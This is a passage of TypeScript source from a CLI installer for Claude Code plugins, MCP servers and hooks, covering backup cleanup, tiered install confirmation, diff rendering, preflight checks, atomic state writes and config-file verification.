timestamp: string\n files: unknown[]\n}\n\ninterface GcOpts {\n olderThan?: string\n keepLast?: string\n dryRun?: boolean\n}\n\nconst DURATION_RE = /^(\\d+)([dhmw])$/\nfunction parseDuration(s: string): number | null {\n const m = DURATION_RE.exec(s)\n if (!m) return null\n const n = Number.parseInt(m[1] ?? '0', 10)\n const unit = m[2]\n const ms =\n unit === 'd' ? 86_400_000 : unit === 'h' ? 3_600_000 : unit === 'm' ? 60_000 : 604_800_000\n return n * ms\n}\n\nasync function dirSizeKb(dir: string): Promise<number> {\n let total = 0\n const stack: string[] = [dir]\n while (stack.length > 0) {\n const cur = stack.pop()\n if (!cur) break\n const entries = await readdir(cur, { withFileTypes: true })\n for (const e of entries) {\n const p = join(cur, e.name)\n if (e.isDirectory()) stack.push(p)\n else if (e.isFile()) {\n const st = await stat(p)\n total += st.size\n }\n }\n }\n return Math.round(total / 1024)\n}\n\nexport function registerGc(program: Command): void {\n program\n .command('gc')\n .description(\n 'Garbage-collect old backup snapshots (immediate by default — use --dry-run for preview)',\n )\n .option('--older-than <duration>', 'delete snapshots older than (e.g. 30d / 24h / 4w)', '30d')\n .option('--keep-last <N>', 'always keep the most recent N snapshots', '0')\n .option('--dry-run', 'preview only — do not delete (opt-in for advanced users)')\n .action(async (opts: GcOpts) => {\n // v3.0.1 UX flip — apply-immediate default + --dry-run opt-in。\n const dryRun = opts.dryRun === true\n const olderMs = parseDuration(opts.olderThan ?? '30d')\n if (olderMs == null) {\n console.error(\n `${t('gc.invalid_duration', { value: opts.olderThan ?? '' })}\\n${t('gc.invalid_duration.fix')}`,\n )\n process.exit(1)\n return\n }\n const keepLast = Number.parseInt(opts.keepLast ?? '0', 10)\n const root = getBackupRoot()\n let dirs: string[]\n try {\n dirs = (await readdir(root, { withFileTypes: true }))\n .filter((e) => e.isDirectory())\n .map((e) => e.name)\n .sort()\n } catch {\n console.log(t('gc.no_backups', { root }))\n return\n }\n const cutoff = Date.now() - olderMs\n // Reverse so most-recent come first; first `keepLast` are protected.\n const kept = new Set(dirs.slice(-keepLast))\n const candidates: Array<{ ts: string; path: string; manifest: string; sizeKb: number }> = []\n for (const ts of dirs) {\n if (kept.has(ts)) continue\n const path = join(root, ts)\n // Backup ID is ISO timestamp with `:` → `-`; reverse to parse.\n const iso = ts.replace(/T(\\d{2})-(\\d{2})-(\\d{2})/, 'T$1:$2:$3')\n const t = Date.parse(iso)\n if (Number.isNaN(t) || t > cutoff) continue\n let manifest = '(unknown)'\n try {\n const meta = JSON.parse(\n await readFile(join(path, 'metadata.json'), 'utf8'),\n ) as BackupMetadata\n manifest = meta.manifest\n } catch {\n // metadata missing — still gc by age\n }\n const sizeKb = await dirSizeKb(path)\n candidates.push({ ts, path, manifest, sizeKb })\n }\n if (candidates.length === 0) {\n console.log(\n t('gc.no_old_snapshots', { cutoff: opts.olderThan ?? '', keptCount: kept.size }),\n )\n return\n }\n const totalKb = candidates.reduce((a, c) => a + c.sizeKb, 0)\n const key = dryRun ? 'gc.summary_will_delete' : 'gc.summary_deleting'\n console.log(t(key, { count: candidates.length, sizeKb: totalKb }))\n for (const c of candidates) {\n console.log(` ${c.ts} ${c.manifest} (${c.sizeKb} KB)`)\n if (!dryRun) await rm(c.path, { recursive: true, force: true })\n }\n if (dryRun) console.log(t('gc.dry_run_rerun_hint'))\n })\n}\n","// Phase 1.2 4-level confirm wrapper per ADR 0004 contract 4 + Pattern C + H.\n//\n// IMPL NOTE (Rule 1 / GA-2 § B.3): every Clack prompt call MUST be guarded\n// with `p.isCancel(ans)` immediately after await — otherwise Ctrl-C / ESC\n// silently returns a Symbol() value that flows downstream as a truthy\n// non-boolean and corrupts the install decision (terkelg/prompts has the\n// same footgun; Clack v0.10 inherited it but exposes isCancel guard).\n//\n// IMPL NOTE (ADR 0004 contract 4): four risk levels map to four prompt\n// shapes:\n// L1 (read-only / project-scope safe write) → just `note()` print, auto-yes\n// L2 (project-scope mutation, e.g. .mcp.json append) → single `confirm()`\n// L3 (user-scope mutation, e.g. ~/.claude.json) → confirm() × 2 — second\n// message MUST mention shared-state side effects on other plugins\n// L4 (system-wide / global npm install) → require explicit `--system`\n// flag at CLI; if missing, refuse without prompt + print educational\n// \"use --system to opt in\" hint (no L4 manifest may auto-apply)\n//\n// nonInteractive mode (CI / scripts): skip all prompts; honor ctx.opts.apply\n// for L1/L2/L3 (apply=true → proceed; apply=false → dry-run yields proceed:\n// true so caller computes plan but does not execute), while L4 still\n// requires --system (security flag, not a UX decision).\n\nimport * as p from '@clack/prompts'\nimport type { InstallContext, Level } from './types.js'\n\nexport type ConfirmReason = 'user-cancel' | 'flag-missing'\n\nexport interface ConfirmOutcome {\n proceed: boolean\n reason?: ConfirmReason\n}\n\nexport async function confirmAt(level: Level, ctx: InstallContext): Promise<ConfirmOutcome> {\n // L4 — system flag gate, runs first (must short-circuit before any prompt).\n if (level === 'L4' && !ctx.opts.system) {\n if (!ctx.opts.nonInteractive) {\n p.note(\n 'this method requires --system flag (e.g. global npm install affects machine PATH); pass --system to opt in.',\n 'L4 system-wide install',\n )\n }\n return { proceed: false, reason: 'flag-missing' }\n }\n\n // Non-interactive: skip prompts, decide from --apply.\n if (ctx.opts.nonInteractive) {\n return { proceed: ctx.opts.apply }\n }\n\n if (level === 'L1') {\n p.note('will write project-local files only (safe scope).', 'L1 confirm')\n return { proceed: true }\n }\n\n if (level === 'L2') {\n const ans = await p.confirm({ message: 'Proceed with install?', initialValue: false })\n if (p.isCancel(ans)) return { proceed: false, reason: 'user-cancel' }\n return { proceed: ans === true }\n }\n\n if (level === 'L3') {\n const first = await p.confirm({ message: 'Proceed with install?', initialValue: false })\n if (p.isCancel(first)) return { proceed: false, reason: 'user-cancel' }\n if (first !== true) return { proceed: false }\n\n const second = await p.confirm({\n message:\n 'This affects other plugins (e.g. ~/.claude.json is shared user-scope state). Confirm again?',\n initialValue: false,\n })\n if (p.isCancel(second)) return { proceed: false, reason: 'user-cancel' }\n return { proceed: second === true }\n }\n\n // L4 with --system flag → single high-stakes confirm.\n const ans = await p.confirm({\n message: 'System-wide install will modify global PATH. Proceed?',\n initialValue: false,\n })\n if (p.isCancel(ans)) return { proceed: false, reason: 'user-cancel' }\n return { proceed: ans === true }\n}\n","// Phase 1.2 unified-diff renderer per ADR 0004 contract 2 + Pattern B + H.\n//\n// IMPL NOTE (Rule 1 / ASSUMPTIONS C3): jsdiff createPatch() is invoked with\n// `stripTrailingCr: true` so a Windows manifest written with CRLF and a Unix\n// target file with LF (or vice versa) produces a *stable* diff — not a\n// 100%-noise \"every line changed\" diff. The trailing CR character (\\r) at\n// end-of-line is normalised away from both sides before line comparison.\n//\n// IMPL NOTE (Rule 1 / nodejs/node#39673 + GA-2 § B.1): we color via\n// picocolors.isColorSupported (NOT process.stdout.isTTY directly). On\n// Windows under Git-Bash, isTTY returns `undefined` instead of `true|false`,\n// which would silently disable color for a real interactive shell. picocolors\n// already combines isTTY ?? false || env.FORCE_COLOR / NO_COLOR / TERM=dumb\n// into one boolean — trust it.\n\nimport { createPatch } from 'diff'\nimport pc from 'picocolors'\nimport type { DiffFile, DiffPlan, InstallContext } from './types.js'\n\n// ADR 0004 § 2 — long diffs are folded by default to keep terminal scrollback\n// reasonable; user passes --full-diff to expand.\nconst FOLD_THRESHOLD = 200\nconst FOLD_HEAD = 100\n\nfunction colorize(line: string): string {\n if (!pc.isColorSupported) return line\n if (line.startsWith('+') && !line.startsWith('+++')) return pc.green(line)\n if (line.startsWith('-') && !line.startsWith('---')) return pc.red(line)\n if (line.startsWith('@@')) return pc.cyan(line)\n return line\n}\n\nfunction diffOneFile(file: DiffFile): { lines: string[]; added: number; removed: number } {\n const patch = createPatch(file.target, file.oldText, file.newText, '', '', {\n stripTrailingCr: true,\n })\n const lines = patch.split('\\n')\n let added = 0\n let removed = 0\n for (const ln of lines) {\n if (ln.startsWith('+') && !ln.startsWith('+++')) added++\n else if (ln.startsWith('-') && !ln.startsWith('---')) removed++\n }\n return { lines, added, removed }\n}\n\nexport function renderDiff(plan: DiffPlan, ctx: InstallContext): string {\n if (plan.files.length === 0) return '(no file changes)\\n'\n\n const out: string[] = []\n let totalAdded = 0\n let totalRemoved = 0\n\n for (const file of plan.files) {\n const { lines, added, removed } = diffOneFile(file)\n totalAdded += added\n totalRemoved += removed\n\n const folded = !ctx.opts.fullDiff && lines.length > FOLD_THRESHOLD\n const visible = folded ? lines.slice(0, FOLD_HEAD) : lines\n for (const ln of visible) out.push(colorize(ln))\n if (folded) {\n const more = lines.length - FOLD_HEAD\n out.push(pc.dim(`... ${more} more lines (use --full-diff to expand)`))\n }\n }\n\n // ADR 0004 § 2 summary line — appended at the bottom so user always sees it.\n const summary = `will modify ${plan.files.length} file${plan.files.length === 1 ? '' : 's'} (${totalAdded} added, ${totalRemoved} removed)`\n out.push('')\n out.push(pc.bold(summary))\n\n return `${out.join('\\n')}\\n`\n}\n","// Phase 5.1 W0 T0.3 — extract err() helper (#BG MED carry-forward 4-phase discharge).\n// Identical 3-line function existed in 7 installer files:\n// ccHookAdd.ts L18 + ccPluginMarketplace.ts L40 + gitCloneWithSetup.ts L43\n// mcpHttpAdd.ts L38 + mcpStdioAdd.ts L31 + npmCli.ts L35 + npxSkillInstaller.ts L49\n// Extracted here to eliminate 7-way duplication.\n\nimport type { InstallContext, InstallError } from './types.js'\n\nexport function err(\n ctx: InstallContext,\n path: string,\n message: string,\n keyword: string,\n): InstallError {\n return { file: ctx.manifest.metadata.name, path, message, line: null, column: null, keyword }\n}\n","// Phase 1.2 first-gate preflight per ADR 0004 contract 1 + Pattern D + C.\n//\n// Why preflight is its own file (not folded into spawn.ts):\n// We want the user to see \"platform mismatch\" / \"missing idempotent_check\"\n// *before* a spawn error fires with a stack trace. spawn.ts is a hot path\n// that should assume invariants already hold; preflight is the cold path\n// that validates those invariants once per install run, in the same spirit\n// as src/manifest/security.ts being separate from validate.ts.\n//\n// Surgical path-walking (Pattern D): we do NOT recursively traverse the\n// manifest AST — every check below targets a hard-coded path. If a future\n// schema field needs preflight enforcement, add a clause here, not a generic\n// walker (karpathy YAGNI; matches manifest/security.ts cmdPaths style).\n//\n// Out of scope (deferred to later phases):\n// - `git ls-remote <repo> <git_ref>` real-network probe → phase 2.1\n// (slow + offline-CI-hostile; preflight is a synchronous fast gate)\n// - npm registry reachability probe → phase 2.4 doctor\n// - Network MTU / proxy configuration → out of phase 1.2 scope\n\nimport type { InstallContext, InstallError } from './types.js'\n\nconst SUPPORTED_PLATFORMS = ['linux', 'darwin', 'win32'] as const\ntype SupportedPlatform = (typeof SUPPORTED_PLATFORMS)[number]\n\n// Subset of cc-plugin-marketplace + git-clone-with-setup git_ref shape; matches\n// the schema regex in src/manifest/schema/installMethods/ccPluginMarketplace.ts.\n// Sanity grep only — schema already enforced this if validate.ts ran.\nconst GIT_REF_SHAPE = /^([a-f0-9]{7,40}|v?\\d+\\.\\d+\\.\\d+([.-][\\w.-]+)?)$/\n\nexport interface PreflightOutcome {\n ok: boolean\n errors: InstallError[]\n // Set when ok=false AND a hard-stop reason applies (caller should yield an\n // `aborted` InstallResult instead of a plain `ok:false`).\n abortReason?: 'platform-mismatch'\n}\n\nexport function preflight(ctx: InstallContext): PreflightOutcome {\n const errors: InstallError[] = []\n const filename = ctx.manifest.metadata.name\n const spec = ctx.manifest.spec\n const install = spec.install\n\n // 1. Platform whitelist. SUPPORTED_PLATFORMS is the harnessed v0.1\n // surface; any platforms[] entry outside it is a manifest error caught by\n // schema, but we double-check for robustness.\n const current = process.platform as SupportedPlatform\n if (!spec.platforms.includes(current)) {\n errors.push({\n file: filename,\n path: '/spec/platforms',\n message: `current platform '${current}' not in supported list [${spec.platforms.join(', ')}]; manifest declares it does not run here.`,\n line: null,\n column: null,\n keyword: 'platform-mismatch',\n suggest: `add '${current}' to spec.platforms in upstream manifest if the installer is known to work there`,\n })\n return { ok: false, errors, abortReason: 'platform-mismatch' }\n }\n\n // 2. git_ref shape sanity (only methods that have it).\n if ('git_ref' in install && typeof install.git_ref === 'string') {\n if (!GIT_REF_SHAPE.test(install.git_ref)) {\n errors.push({\n file: filename,\n path: '/spec/install/git_ref',\n message: `git_ref '${install.git_ref}' does not match SHA(7-40 hex) or SemVer shape; schema should have caught this — preflight backstop.`,\n line: null,\n column: null,\n keyword: 'git-ref-shape',\n suggest:\n 'pin to a SHA (40 hex) or SemVer tag (e.g. v1.2.3); branch names like main/HEAD are forbidden',\n })\n }\n }\n\n // 3. idempotent_check non-empty string (all 6 install methods declare it\n // required in schema, but this guards against a programmatically-built\n // manifest that bypassed validate.ts).\n if (\n typeof install.idempotent_check !== 'string' ||\n install.idempotent_check.trim().length === 0\n ) {\n errors.push({\n file: filename,\n path: '/spec/install/idempotent_check',\n message:\n 'idempotent_check missing or empty; ADR 0004 contract 1 requires a check command for re-install detection',\n line: null,\n column: null,\n keyword: 'idempotent-check-missing',\n suggest:\n 'add a shell cmd that exits 0 iff the package is already installed (e.g. `npm ls -g <pkg>`)',\n })\n }\n\n return { ok: errors.length === 0, errors }\n}\n","// Phase 1.2 .harnessed/state.json SSOT per ADR 0004 contract 6 + D1.2-7.\n//\n// Tracks \"what is currently installed\" across reboots / shells:\n// - schema version (so future migrations are explicit)\n// - per-install record: version + ISO timestamp + manifest sha1\n//\n// karpathy YAGNI (D1.2-7): we do NOT pre-reserve audit.log / current-workflow\n// / checkpoints fields here — those are added when their owner phases ship\n// (audit log = phase 1.4 routing-engine, checkpoints = phase 3.1 ralph-loop\n// integration). The state.json schema therefore lives behind a version field\n// so future phases can bump it without touching this file.\n//\n// Plain TS interface (NOT TypeBox) — state.json is read/written by harnessed\n// itself, never by user manifests; we don't need Ajv runtime validation.\n//\n// IMPL NOTE (Rule 1 / concurrent-write hazard): writeState() uses the atomic\n// write-then-rename idiom (write to `.tmp` sibling + `fs.rename`). Two\n// `harnessed install` processes running concurrently in the same project\n// will see one another's tmp file but only one rename wins, so the final\n// state.json is always either the pre- or the post-state — never a half-\n// written truncation. This matches how npm/yarn/git index updates work.\n//\n// Pattern C: readState returns a default object on ENOENT (first install in\n// a fresh project) — we never throw on missing state.json; absence is the\n// expected initial condition.\n\nimport { mkdir, readFile, rename, writeFile } from 'node:fs/promises'\nimport { dirname } from 'node:path'\nimport { harnessedFile } from './harnessedRoot.js'\n\nexport interface HarnessedStateEntry {\n version: string\n installedAt: string // ISO-8601 timestamp\n manifestSha1: string // sha1 of the manifest yaml that produced this install\n}\n\nexport interface HarnessedState {\n version: '1' // schema version of THIS file format; bump on incompatible change\n installed: Record<string, HarnessedStateEntry>\n}\n\nconst DEFAULT_STATE: HarnessedState = { version: '1', installed: {} }\n\n// v3.0.3 hotfix — state.json path now homedir-rooted (sister `getBackupRoot()`\n// v2.0.1 + `getHarnessedRoot()` v3.0.3). Pre-v3.0.3 used `<cwd>/.harnessed/`\n// which EPERMs when the user launches harnessed from a read-only directory\n// (Warp default `C:\\Program Files\\Warp\\`). The `cwd` parameter is now ignored\n// for path composition (signature kept for backward-compat with callers like\n// `cli/status.ts` and `npmCli.ts` that still pass `ctx.cwd` or `process.cwd()`).\nfunction statePath(_cwd: string): string {\n return harnessedFile('state.json')\n}\n\nexport async function readState(cwd: string): Promise<HarnessedState> {\n const path = statePath(cwd)\n let raw: string\n try {\n raw = await readFile(path, 'utf8')\n } catch (err) {\n // ENOENT — first install in a fresh project; return default schema.\n if ((err as NodeJS.ErrnoException).code === 'ENOENT') {\n return { ...DEFAULT_STATE, installed: {} }\n }\n throw err\n }\n // Malformed JSON / wrong schema version is recoverable: log and return\n // default; we choose data loss over crash because state.json is not\n // primary truth (manifests + .harnessed-backup are). Caller may add a\n // doctor warning if installed map is empty but backups exist.\n try {\n const parsed = JSON.parse(raw) as HarnessedState\n if (parsed.version !== '1' || typeof parsed.installed !== 'object') {\n return { ...DEFAULT_STATE, installed: {} }\n }\n return parsed\n } catch {\n return { ...DEFAULT_STATE, installed: {} }\n }\n}\n\nexport async function writeState(cwd: string, state: HarnessedState): Promise<void> {\n const path = statePath(cwd)\n const tmp = `${path}.tmp`\n await mkdir(dirname(path), { recursive: true })\n // Trailing newline keeps state.json POSIX-friendly + diff-friendly.\n await writeFile(tmp, `${JSON.stringify(state, null, 2)}\\n`, 'utf8')\n await rename(tmp, path)\n}\n\n/**\n * Read-modify-write helper for the common case: record a successful install.\n * Adds or replaces `installed[name]` and persists atomically.\n */\nexport async function updateInstalled(\n cwd: string,\n name: string,\n version: string,\n manifestSha1: string,\n): Promise<void> {\n const state = await readState(cwd)\n state.installed[name] = {\n version,\n installedAt: new Date().toISOString(),\n manifestSha1,\n }\n await writeState(cwd, state)\n}\n","// Phase 2.4 W3 T3.1 — install method 7/7: cc-hook-add (D-04 § 3.1 + R2.4.4 +\n// B-20/B-21/B-22). Sister: npxSkillInstaller (L2 HOME write, real-path verify).\n// L3 tier (~/.claude/settings.json is shared user-scope state — sister mcp-stdio).\n// Deep-merges settings.hooks[event][] (NEVER overwrite). Idempotent on duplicate\n// (matching command+matcher → skip with appliedFiles:[]). R7 verify: re-read +\n// .some() grep (writeFile exit ≠ filesystem truth — sister npx-skill-installer C6).\n\nimport { readFile, writeFile } from 'node:fs/promises'\nimport { homedir } from 'node:os'\nimport { join } from 'node:path'\nimport { backup } from './lib/backup.js'\nimport { confirmAt } from './lib/confirm.js'\nimport { renderDiff } from './lib/diff.js'\nimport { err } from './lib/err.js'\nimport { preflight } from './lib/preflight.js'\nimport { updateInstalled } from './lib/state.js'\nimport type { DiffPlan, Installer } from './lib/types.js'\n\ninterface Settings {\n hooks?: Record<string, { matcher?: string; command: string }[]>\n [k: string]: unknown\n}\n\nexport const installCcHookAdd: Installer = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'cc-hook-add') {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/spec/install/method',\n `dispatch bug: ${install.method}`,\n 'dispatch-mismatch',\n ),\n }\n }\n const pre = preflight(ctx)\n if (!pre.ok) {\n if (pre.abortReason === 'platform-mismatch')\n return { aborted: true, reason: 'platform-mismatch' }\n const e = pre.errors[0] ?? err(ctx, '/', 'preflight failed', 'preflight')\n return { ok: false, phase: 'preflight', error: e }\n }\n\n const settingsPath = join(homedir(), '.claude', 'settings.json')\n // Sentinel `null` ⇒ file does not exist (oldText='' so backup() emits pure-create).\n let existing: string | null\n try {\n existing = await readFile(settingsPath, 'utf8')\n } catch {\n existing = null\n }\n let settings: Settings\n try {\n settings = JSON.parse(existing ?? '{}') as Settings\n } catch (e) {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/',\n `malformed settings.json: ${(e as Error).message.slice(0, 200)}`,\n 'settings-json-malformed',\n ),\n }\n }\n settings.hooks = settings.hooks ?? {}\n const ev = install.hook_event\n const matcher = install.hook_matcher\n const cmd = install.hook_command\n settings.hooks[ev] = settings.hooks[ev] ?? []\n if (settings.hooks[ev].some((h) => h.command === cmd && h.matcher === matcher)) {\n return { ok: true, backupId: 'idempotent-skip', appliedFiles: [] }\n }\n settings.hooks[ev].push({ matcher, command: cmd })\n const newText = `${JSON.stringify(settings, null, 2)}\\n`\n const plan: DiffPlan = {\n files: [{ target: settingsPath, scope: 'HOME', oldText: existing ?? '', newText }],\n }\n process.stdout.write(renderDiff(plan, ctx))\n\n const conf = await confirmAt('L3', { ...ctx, level: 'L3' })\n if (!conf.proceed) {\n const reason = conf.reason === 'flag-missing' ? 'level-flag-missing' : 'user-cancel'\n return { aborted: true, reason }\n }\n if (ctx.opts.dryRun) return { aborted: true, reason: 'user-cancel' }\n\n const bk = await backup(plan, ctx)\n if (!bk.ok) return { ok: false, phase: 'preflight', error: bk.error }\n await writeFile(settingsPath, newText)\n\n // R7 — re-read + grep cmd presence; ENOENT/malformed post-write ⇒ verify-failed.\n let verify: Settings\n try {\n verify = JSON.parse(await readFile(settingsPath, 'utf8')) as Settings\n } catch (e) {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/install/hook_command',\n `verify re-read fail: ${(e as Error).message.slice(0, 200)}`,\n 'verify-failed',\n ),\n }\n }\n if (!verify.hooks?.[ev]?.some((h) => h.command === cmd)) {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/install/hook_command',\n `hook '${cmd.slice(0, 80)}' missing in hooks.${ev}[] after write`,\n 'verify-failed',\n ),\n }\n }\n\n await updateInstalled(ctx.cwd, ctx.manifest.metadata.name, '', '')\n return { ok: true, backupId: bk.backupId, appliedFiles: [settingsPath] }\n}\n","// v3.0.3 hotfix — fs-based MCP verify (replaces v3.0.2 spawn `claude mcp list`).\n//\n// Problem: v3.0.2 changed `mcpStdioAdd.ts` / `mcpHttpAdd.ts` / `ccPluginMarketplace.ts`\n// verify step from a `claude mcp list | grep -q <name>` shell pipe to a native\n// `spawn('claude', ['mcp', 'list'])` + `stdout.includes(name)` match (sister\n// CHANGELOG v3.0.2 entry). User reports the spawn-based path still fails 3-way\n// on Windows because `claude mcp list` cold-start exceeds the 15s timeout when\n// invoked sequentially after 3 `claude mcp add` calls (warm process pool\n// nearly exhausted; sister Bug 3 v3.0.2 timeout-budgeting issue, but for the\n// VERIFY surface).\n//\n// Crucially: the underlying `claude mcp add --scope user` invocation likely\n// SUCCEEDED — `~/.claude.json` is written before the verify spawn — but the\n// verify spawn timed out and reported `exit -1 or '<name>' not in mcp list\n// stdout: [timeout]` (literal user message). All 3 MCP installers fall in.\n//\n// Solution: skip the spawn entirely. Read `~/.claude.json` directly with\n// `fs.readFile` + `JSON.parse` + check `mcpServers[name]`. The file is the\n// authoritative source of truth (Claude Code reads it on startup); CC's\n// `mcp list` is just a JSON pretty-printer over the same file.\n//\n// Cross-platform: pure Node fs, no shell, no spawn, no timeout risk.\n// Idempotent: file-not-exists → no servers registered → return false (no throw).\n// Robust: malformed JSON → return false (graceful), don't crash the installer.\n\nimport { readFile } from 'node:fs/promises'\nimport { homedir } from 'node:os'\nimport { join } from 'node:path'\n\n/**\n * Path to the user-global Claude Code config file written by `claude mcp add\n * --scope user` and `claude plugin install --scope user`. CC reads this on\n * startup to load the `mcpServers` map + `enabledPlugins` map.\n */\nexport function getUserClaudeJsonPath(): string {\n return join(homedir(), '.claude.json')\n}\n\ninterface UserClaudeJsonShape {\n mcpServers?: Record<string, unknown>\n enabledPlugins?: Record<string, unknown>\n [k: string]: unknown\n}\n\n/**\n * Read `~/.claude.json` and return the parsed object.\n *\n * Returns `{}` only for the two graceful conditions specified in the v3.0.3\n * verify contract:\n * 1. ENOENT — file does not exist yet (first install). Verify should report\n * \"server not registered\" cleanly, not throw.\n * 2. Malformed JSON — the file exists but is corrupt. Verify should report\n * false rather than crash; the caller's error path produces a clearer\n * \"server missing\" message than a bare SyntaxError stack would.\n *\n * Any other read error (EACCES, EISDIR, etc.) is unexpected and re-thrown\n * so the installer surface them as verify-failed with the original cause\n * (no silent swallowing — anti-slop posture per CLAUDE.md karpathy heuristic).\n */\nexport async function readUserClaudeJson(): Promise<UserClaudeJsonShape> {\n const path = getUserClaudeJsonPath()\n let raw: string\n try {\n raw = await readFile(path, 'utf8')\n } catch (err) {\n if ((err as NodeJS.ErrnoException).code === 'ENOENT') return {}\n throw err\n }\n try {\n const parsed = JSON.parse(raw) as UserClaudeJsonShape\n if (parsed === null || typeof parsed !== 'object') return {}\n return parsed\n } catch {\n // Malformed JSON — explicit graceful return per verify contract.\n return {}\n }\n}\n\n/**\n * Check whether an MCP server is registered in `~/.claude.json`.\n *\n * Used by `mcpStdioAdd.ts` + `mcpHttpAdd.ts` v3.0.3 verify step in place of\n * `spawn('claude', ['mcp', 'list'])` + stdout match.\n *\n * Returns `true` if `mcpServers[name]` exists (any truthy value); `false` if\n * the file is missing, malformed, or the server is not present.\n */\nexport async function isMcpServerRegistered(name: string): Promise<boolean> {\n const config = await readUserClaudeJson()\n const servers = config.mcpServers\n if (!servers || typeof servers !== 'object') return false\n return Object.hasOwn(servers, name)\n}\n\n/**\n * Check whether a Claude Code plugin is registered in `~/.claude.json`.\n *\n * Used by `ccPluginMarketplace.ts` v3.0.3 verify step in place of\n * `spawn('claude', ['plugin', 'list', '--json'])` + stdout match.\n *\n * Plugins live under `enabledPlugins` with keys of the form `<plugin>@<marketplace>`;\n * we check by the plain plugin name (left side of the `@`) since the marketplace\n * suffix is install-time metadata and the caller passes only the bare plugin name.\n */\nexport async function isPluginRegistered(pluginName: string): Promise<boolean> {\n const config = await readUserClaudeJson()\n const plugins = config.enabledPlugins\n if (!plugins || typeof plugins !== 'object') return false\n // Try exact key first (defensive — some manifests pass full <name>@<mkt>).\n if (Object.hasOwn(plugins, pluginName)) return true\n // Otherwise scan for any key whose `<name>@<mkt>` prefix matches.\n return Object.keys(plugins).some((k) => k.split('@')[0] === pluginName)\n}\n","// Phase 5.1 W0 T0.3 — extract runArgs helper (#BF MED carry-forward 4-phase discharge).\n// Identical implementation existed in mcpStdioAdd.ts L40 + mcpHttpAdd.ts L47 +\n// ccPluginMarketplace.ts L49; extracted here to eliminate 3-way duplication.\n//\n// IMPL NOTE: Win routes through cmd.exe /c because `claude` ships as a .cmd shim.\n// Unix spawns the binary directly (no shell) — args remain unparsed. This matches\n// the established cross-OS pattern across all 3 call sites verbatim.\n\nimport { spawn } from 'node:child_process'\n\nexport interface ProcResult {\n exitCode: number\n stderr: string\n}\n\nexport function runArgs(\n claudeArgs: string[],\n cwd: string,\n timeoutMs = 15_000,\n): Promise<ProcResult> {\n return new Promise((resolve) => {\n // Win: route through cmd.exe /c because `claude` ships as a .cmd shim.\n // Unix: spawn the binary directly (no shell) — args remain unparsed.\n const isWin = process.platform === 'win32'\n const child = isWin\n ? spawn('cmd.exe', ['/c', 'claude', ...claudeArgs], { cwd, windowsHide: true })\n : spawn('claude', claudeArgs, { cwd, shell: false })\n let stderr = ''\n child.stderr?.setEncoding('utf8').on('data', (c: string) => {\n stderr += c\n })\n const timer = setTimeout(() => {\n child.kill('SIGKILL')\n resolve({ exitCode: -1, stderr: `${stderr}[timeout after ${timeoutMs}ms]` })\n }, timeoutMs)\n child.on('error', (e) => {\n clearTimeout(timer)\n resolve({ exitCode: -1, stderr: `${stderr}${e.message}` })\n })\n child.on('close', (code) => {\n clearTimeout(timer)\n resolve({ exitCode: code ?? -1, stderr })\n })\n })\n}\n","// v3.0.2 hotfix — homedir-rooted spawn cwd for MCP / plugin installers.\n//\n// Problem: `claude mcp add --scope project <...>` writes `.mcp.json` to the\n// spawn cwd. When user launches `harnessed setup` from a read-only directory\n// (e.g. PowerShell default CWD `C:\\Windows\\System32`), the write fails with:\n// `EPERM: operation not permitted, rename 'C:\\Windows\\System32\\.mcp.json.tmp...'`\n// blocking all MCP installers (chrome-devtools-mcp / exa-mcp / tavily-mcp).\n//\n// Solution: sister v2.0.1 `getBackupRoot()` (src/installers/lib/backup.ts:32)\n// pattern verbatim — root MCP/plugin spawn cwd at homedir() unconditionally,\n// not at process.cwd(). homedir() is reliably writable on Win/Mac/Linux.\n// User can still see `.mcp.json` in their home and `claude mcp list` works\n// because the registration is keyed by the absolute path Claude Code reads.\n//\n// Why unconditional (no probe + fallback)? Sister v2.0.1 backup-root migration\n// is unconditional — `getBackupRoot()` always returns `~/.harnessed/backups/`,\n// regardless of whether ctx.cwd is writable. Symmetric semantics: harness-\n// owned writes go under the user's home, not transient terminal CWDs.\n\nimport { homedir } from 'node:os'\n\n/**\n * Return the homedir-rooted spawn cwd used by `claude mcp add` /\n * `claude plugin install` so that `.mcp.json` / `.claude/settings.json`\n * writes land in a path the user reliably owns. Unconditional — does NOT\n * fall back to ctx.cwd.\n *\n * Sister: `src/installers/lib/backup.ts:32` `getBackupRoot()` v2.0.1.\n */\nexport function getMcpSpawnCwd(): string {\n return homedir()\n}\n","// Phase 2.1 install method 5/6 — cc-plugin × cc-plugin-marketplace per ADR\n// 0004 § 5 + ADR 0005 + ADR 0010 errata D-20.\n//\n// v3.0.2 hotfix (scope flip): `--scope project` → `--scope user`. Sister\n// mcpStdioAdd v3.0.2 reasoning — write to ~/.claude.json user-global config\n// (CWD-independent) instead of <cwd>/.claude/settings.json (EPERMs in\n// read-only CWD). CC #54803 user-scope-broken bug has been resolved.\n//\n// IMPL NOTE (Rule 1): hardcoded `--scope user` for `plugin install` step\n// cannot be overridden by manifest fields; the manifest cmd string is\n// informational; we authoritatively reconstruct args[].\n//\n// IMPL NOTE (Rule 1 / D-20 idempotency): Two sequential spawns:\n// Step 1: `claude plugin marketplace add <url>`\n// Step 2: `claude plugin install <plugin>@<marketplace> --scope project`\n// Step-1 non-zero exit is non-fatal IF step-2 succeeds — marketplace already\n// being registered is a benign state (\"already exists\" is the most common\n// step-1 failure on re-install). We do NOT pre-probe `marketplace list`\n// (extra spawn, extra failure surface); we let step-2 decide.\n//\n// IMPL NOTE (Rule 1 / parse install.cmd): the install method schema does not\n// carry typed `marketplace_url`/`marketplace_name`/`plugin_name` fields (it\n// has only cmd + git_ref + idempotent_check + optional marketplace_source).\n// We parse the manifest cmd which is the user-facing audit-trail string,\n// matching the architectural discipline already established by mcpStdioAdd\n// (cmd is informational; args reconstructed authoritatively).\n//\n// IMPL NOTE (Rule 1 / H2 sister review fix): re-screen each constructed arg\n// before spawn — same defense-in-depth posture as mcpStdioAdd/mcpHttpAdd.\n//\n// IMPL NOTE (v3.0.3 hotfix — verify reads ~/.claude.json directly): pre-v3.0.3\n// verify spawned `claude plugin list --json` and stdout-matched the plugin\n// name. Same timeout symptom as mcpStdioAdd v3.0.3 (cold-start exceeds 15s\n// after sequential MCP adds). v3.0.3 reads `enabledPlugins` from\n// 